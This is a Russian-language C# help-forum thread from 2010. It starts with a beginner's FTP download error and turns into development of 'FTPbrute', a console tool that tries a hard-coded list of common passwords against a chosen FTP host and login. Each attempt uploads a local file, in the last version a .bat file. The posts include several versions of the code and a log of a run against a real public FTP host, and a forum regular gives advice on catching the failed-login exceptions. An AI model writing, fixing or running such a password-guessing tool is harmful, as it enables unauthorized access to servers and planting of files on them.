Модераторы: Partizan, gambit

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> не могу подключиться к фтп 
:(
    Опции темы
dj100500
Дата 9.10.2010, 12:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



using System;
using System.IO;
using System.Text;
using System.Security.Permissions;
using System.Net;

class FTP
{
    public static void Main()
    {
                        
        FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://ip");

        request.Method = WebRequestMethods.Ftp.DownloadFile;

        request.Credentials = new NetworkCredential("pass", "dj100500");

        FtpWebResponse response = (FtpWebResponse)request.GetResponse();

        Stream responseStream = response.GetResponseStream();

        StreamReader reader = new StreamReader(responseStream);

        Console.WriteLine(reader.ReadToEnd());

        Console.WriteLine("Download Complete, status {0}", response.StatusDescription);

        reader.Close();

        response.Close();  

        Console.ReadKey();
    }
}
на это пишет Запрашиваемый URI-адрес недопустим для этой команды FTP
какашками не кидайтесь я новичок smile 
PM MAIL   Вверх
azesmcar
Дата 9.10.2010, 12:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 6
Всего: 211



Цитата(dj100500 @  9.10.2010,  12:37 Найти цитируемый пост)
ftp://ip

что? прямо так и написано?
PM   Вверх
dj100500
Дата 9.10.2010, 12:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



ды нет мой сайт там вписан
PM MAIL   Вверх
azesmcar
Дата 9.10.2010, 14:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 6
Всего: 211



Цитата(dj100500 @  9.10.2010,  12:44 Найти цитируемый пост)
ды нет мой сайт там вписан 

можно посмотреть реальный код? также желательно сказать тип исключение и в какой строке оно происходит.
PM   Вверх
dj100500
Дата 9.10.2010, 14:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



вот код ток пароль логин заменил
using System;
using System.IO;
using System.Text;
using System.Security.Permissions;
using System.Net;
using Microsoft.Win32;


class FTP
{
    public static void Main()
    {
        
        FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://www.vk0ntkte.h1.ru");
        request.Method = WebRequestMethods.Ftp.DownloadFile;
        request.Credentials = new NetworkCredential("логин", "пароль");

        FtpWebResponse response = (FtpWebResponse)request.GetResponse();/*указывает на эту строку пишет что "webexception не обработано" и  "Запрашиваемый URI-адрес недопустим для этой команды FTP".*/

        Stream responseStream = response.GetResponseStream();
        StreamReader reader = new StreamReader(responseStream);
        Console.WriteLine(reader.ReadToEnd());

        Console.WriteLine("Download Complete, status {0}", response.StatusDescription);

        reader.Close();
        response.Close();
        
        Console.ReadKey();
    }
}

скрин 
[IMG=http://img580.imageshack.us/img580/4441/112kp.jpg][/IMG]

Uploaded with ImageShack.us
PM MAIL   Вверх
dj100500
Дата 9.10.2010, 16:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



ну тык как
PM MAIL   Вверх
azesmcar
Дата 9.10.2010, 18:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 6
Всего: 211



dj100500

Цитата(dj100500 @  9.10.2010,  14:29 Найти цитируемый пост)
ftp://www.vk0ntkte.h1.ru

здесь надо задавать имя файла.
например

PM   Вверх
dj100500
Дата 9.10.2010, 18:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



ура smile работыет
 а куда сэйвит чот не понял я

Добавлено через 6 минут и 2 секунды
а и как аплоадить файл в мсдн чот без примера
PM MAIL   Вверх
azesmcar
Дата 9.10.2010, 18:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 6
Всего: 211



Цитата(dj100500 @  9.10.2010,  18:24 Найти цитируемый пост)
 а куда сэйвит чот не понял я

а разве он должен сохранять? .NET не читает твоих мыслей smile 
PM   Вверх
dj100500
Дата 9.10.2010, 18:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



ну кишет что download comlete ,status 226 transfer complete
скажи те как а то в мсдн скудно
PM MAIL   Вверх
azesmcar
Дата 9.10.2010, 18:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 6
Всего: 211



так ты же его содержание на экран выводишь.
Код

Console.WriteLine(reader.ReadToEnd());

PM   Вверх
dj100500
Дата 9.10.2010, 19:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



чот не выводит smile 
хотя когда первый раз запускал то чот вывел 
а и файл очищает smile 

ЗЫ и на счот аплоада чо

PM MAIL   Вверх
azesmcar
Дата 9.10.2010, 19:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 6
Всего: 211



PM   Вверх
dj100500
Дата 9.10.2010, 19:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



на инглише не удобно ну ды лан попробую разобраться
PM MAIL   Вверх
dj100500
Дата 9.10.2010, 19:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



///

Это сообщение отредактировал(а) dj100500 - 9.10.2010, 20:11
PM MAIL   Вверх
dj100500
Дата 10.10.2010, 13:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



исчо вопросик как сделать чтобы при первом неправильном пароле она не вылетала smile  помогите плиз
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Security.Permissions;
using System.IO;

namespace ConsoleApplication8
{
    class Program
    {
        static void Main(string[] args)
        {
            string v = "0.0.1.0";
            string port;
            string host;
            string login;
            string[] pass = {"bla" , "100500" , "123456" , "pass" , "100500" , "passwd" , "qwerty"};
            Console.WriteLine("FTPbrute"+ " v"+ v);
            Console.WriteLine("code by dj100500");
            Console.Write("(bla.ru) host:");
            
            host = Console.ReadLine();
            if (host == "")
            {
                Console.Write("enter host:");
                host = Console.ReadLine();
            }
            Console.Write("port:");
            port = Console.ReadLine();
            if (port == "")
            {
                port = "21";
            }
            Console.Write("login");
            login = Console.ReadLine();
            if (login == "")
            {
                login = "admin";
            }
            Console.WriteLine("host:" + host + "port:"  + "login:" + login);
            for (var i = 0; i < pass.Length; i++)
            {
                
               
                    FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + "/test.txt");
                    request.Method = WebRequestMethods.Ftp.UploadFile;

                   
                    request.Credentials = new NetworkCredential(login, pass[i]);

                    
                    StreamReader sourceStream = new StreamReader(@"D:\test.txt");
                    byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
                    sourceStream.Close();
                    request.ContentLength = fileContents.Length;
                    Stream requestStream = request.GetRequestStream();
                    requestStream.Write(fileContents, 0, fileContents.Length);
                    requestStream.Close();

                    FtpWebResponse response = (FtpWebResponse)request.GetResponse();
                    Console.WriteLine(response.StatusDescription);
                    Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription);

                    response.Close();
                   
                }
                
                 
                
            
                      Console.ReadKey();
            
        }
    }
}
PM MAIL   Вверх
dj100500
Дата 10.10.2010, 20:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



эй помогите плиз
PM MAIL   Вверх
azesmcar
Дата 10.10.2010, 20:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 6
Всего: 211



Цитата(dj100500 @  10.10.2010,  13:52 Найти цитируемый пост)
как сделать чтобы при первом неправильном пароле она не вылетала 

поймать через try { } catch(Exception e) {}

Цитата(dj100500 @  10.10.2010,  20:09 Найти цитируемый пост)
эй помогите плиз 

так воскресенье же smile 
PM   Вверх
dj100500
Дата 10.10.2010, 21:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



всё уж разобрался прост не доперало какие параметры юзать ща без параметров фурычит

Это сообщение отредактировал(а) dj100500 - 10.10.2010, 21:35
PM MAIL   Вверх
dj100500
Дата 12.10.2010, 18:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



отказывается писать статус Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription);  и не обрабатывает гуд почему не понимаю  smile  smile  smile 


Код



using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Security.Permissions;
using System.IO;

namespace ConsoleApplication8
{
    class Program
    {
        
        static void Main(string[] args)
        {

            string[] pass = { "pass1", "1234", "123456", "pass2", "pass3", "passwd", "qwerty", "dsdsadadaw" };
            string v = "0.0.1.0";
            string port;
            string host;
            string login;
            
            Console.WriteLine("FTPbrute" + " v" + v);
            Console.WriteLine("code by dj100500");
            Console.Write("(bla.ru) host:");

            host = Console.ReadLine();
            if (host == "")
            {
                Console.Write("enter host:");
                host = Console.ReadLine();
            }
            Console.Write("port:");
            port = Console.ReadLine();
            if (port == "")
            {
                port = "21";
            }
            Console.Write("login:");
            login = Console.ReadLine();
            if (login == "")
            {
                login = "admin";
            }
            Console.WriteLine("host:" + host + "port:" + "login:" + login);
           
            for (var i = 0; i < pass.Length;i++ )
            {
                

                try
                {

                    FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + ":" + port + "/test.txt");
                    request.Method = WebRequestMethods.Ftp.UploadFile;


                    request.Credentials = new NetworkCredential(login, pass[i]);


                    StreamReader sourceStream = new StreamReader(@"D:\test.txt");
                    byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
                    sourceStream.Close();
                    request.ContentLength = fileContents.Length;
                    Stream requestStream = request.GetRequestStream();
                    requestStream.Write(fileContents, 0, fileContents.Length);
                    requestStream.Close();

                    FtpWebResponse response = (FtpWebResponse)request.GetResponse();


                    Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription);
                    
                    if (response.StatusDescription == "226 FILE: test.txt transferred")
                    {
                        Console.WriteLine("ftp passwd = "+pass[i]);
                       
                        break;
                       
                    }
                    response.Close();

                }
                catch
                {
                   
                    Console.WriteLine(pass[i]);

                }
              
               
            }

            
            Console.ReadKey();

        }

       
    }
}

Добавлено @ 18:14
сори код кривой немног но эт пока

Это сообщение отредактировал(а) dj100500 - 13.10.2010, 19:43
PM MAIL   Вверх
dj100500
Дата 13.10.2010, 16:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



ау
PM MAIL   Вверх
wester
Дата 13.10.2010, 18:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 675
Регистрация: 27.2.2009

Репутация: 4
Всего: 13



dj100500
а еще люди юзают тэг [code /] .....

код небольшой, выполни пошагово, посмотри что происходит .
и что понимать под "отказывается писать" ? крашится ?
PM MAIL   Вверх
dj100500
Дата 13.10.2010, 19:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



нет просто не пишет ничо
про тэг учту
PM MAIL   Вверх
dj100500
Дата 17.10.2010, 12:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 139
Регистрация: 9.10.2010

Репутация: нет
Всего: нет



Код

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Security.Permissions;
using System.IO;

namespace ConsoleApplication8
{
    class Program
    {
        
        static void Main(string[] args)
        {

            string[] pass = { "dj100500hackyo", "1234", "123456", "pass", "dj100500hackyou", "passwd", "qwerty", "dsdsadadaw" };
            string v = "0.0.1.0";
            string port;
            string host;
            string login;
            
            Console.WriteLine("FTPbrute" + " v" + v);
            Console.WriteLine("code by dj100500");
            Console.Write("(bla.ru) host:");

            host = Console.ReadLine();
            if (host == "")
            {
                Console.Write("enter host:");
                host = Console.ReadLine();
            }
            Console.Write("port:");
            port = Console.ReadLine();
            if (port == "")
            {
                port = "21";
            }
            Console.Write("login:");
            login = Console.ReadLine();
            if (login == "")
            {
                login = "admin";
            }
            Console.WriteLine("host:" + host + "port:" + "login:" + login);
            int j;
            string q = "";
            
                

                

                    FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + ":" + port + "/test1.txt");
                    request.Method = WebRequestMethods.Ftp.UploadFile;
            for(var i = 0;i<pass.Length;i++)
            {
                try
                {
                    Console.Write("1:"+i); 
                    request.Credentials = new NetworkCredential(login, pass[i]);//но на втором пасс уже вешается здесь(2 не видно)
                    Console.Write("2:" + i);

                    StreamReader sourceStream = new StreamReader(@"D:\21.bat");
                    Console.Write("3:" + i);
                    byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
                    Console.Write("4:" + i);
                    sourceStream.Close();
                    Console.Write("5:" + i);
                    request.ContentLength = fileContents.Length;
                    Console.Write("6:" + i);
                    Stream requestStream = request.GetRequestStream();//при первом неправильном пассе вешается здесь потомучто  7 я уже не вижу
                    Console.Write("7:" + i);
                    requestStream.Write(fileContents, 0, fileContents.Length);
                    Console.Write("8:" + i);
                    requestStream.Close();
                    Console.Write("9:" + i);
                    FtpWebResponse response = (FtpWebResponse)request.GetResponse();
                    Console.Write("10:" + i);
                    Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription);
                    Console.Write("11:" + i);

                }
                catch(Exception e)
                {
                    Console.WriteLine("pass:"+pass[i]+" invalid.");
                }
            }
            
            Console.ReadKey();
                
                    
                //    if (response.StatusDescription == "226 FILE: test.txt transferred")
                 //   {
                 //       Console.WriteLine("ftp passwd = "+pass[i]);
                       //passwd(pass[i]);
                  //      j = i;
                        
                       
                   // }
                   // response.Close();

                
                
              
               
            }


      
            
           

        }
          
    }



вывод при правильном пассе
FTPbrute v0.0.1.0
code by dj100500
(bla.ru) host:ftp.narod.ru
port:21
login:****
host:ftp.narod.ruport:login:***
1:02:03:04:05:06:07:08:09:010:0Upload File Complete, status 226 FILE: test1.txt
transferred

11:01:1pass:1234 invalid.
1:2pass:123456 invalid.
1:3pass:pass invalid.
1:4pass:dj100500hackyou invalid.//пасс верный
1:5pass:passwd invalid.
1:6pass:qwerty invalid.
1:7pass:dsdsadadaw invalid.

при  первом неправильном 
FTPbrute v0.0.1.0
code by dj100500
(bla.ru) host:ftp.narod.ru
port:21
login:*****
host:ftp.narod.ruport:login:****
1:02:03:04:05:06:0pass:dj100500hackyo invalid.
1:1pass:1234 invalid.
1:2pass:123456 invalid.
1:3pass:pass invalid.
1:4pass:dj100500hackyou invalid.//правильный пасс
1:5pass:passwd invalid.
1:6pass:qwerty invalid.
1:7pass:dsdsadadaw invalid.


помогите плиз сам не могу разобраться

Это сообщение отредактировал(а) dj100500 - 17.10.2010, 12:09
PM MAIL   Вверх
Страницы: (2) [Все] 1 2 
Ответ в темуСоздание новой темы Создание опроса
Прежде чем создать тему, посмотрите сюда:
mr.DUDA
THandle

Используйте теги [code=csharp][/code] для подсветки кода. Используйтe чекбокс "транслит" если у Вас нет русских шрифтов.
Что делать если Вам помогли, но отблагодарить помощника плюсом в репутацию Вы не можете(не хватает сообщений)? Пишите сюда, или отправляйте репорт. Поставим :)
Так же не забывайте отмечать свой вопрос решенным, если он таковым является :)


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, mr.DUDA, THandle.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Общие вопросы по .NET и C# | Следующая тема »


 




[ Время генерации скрипта: 0.1188 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.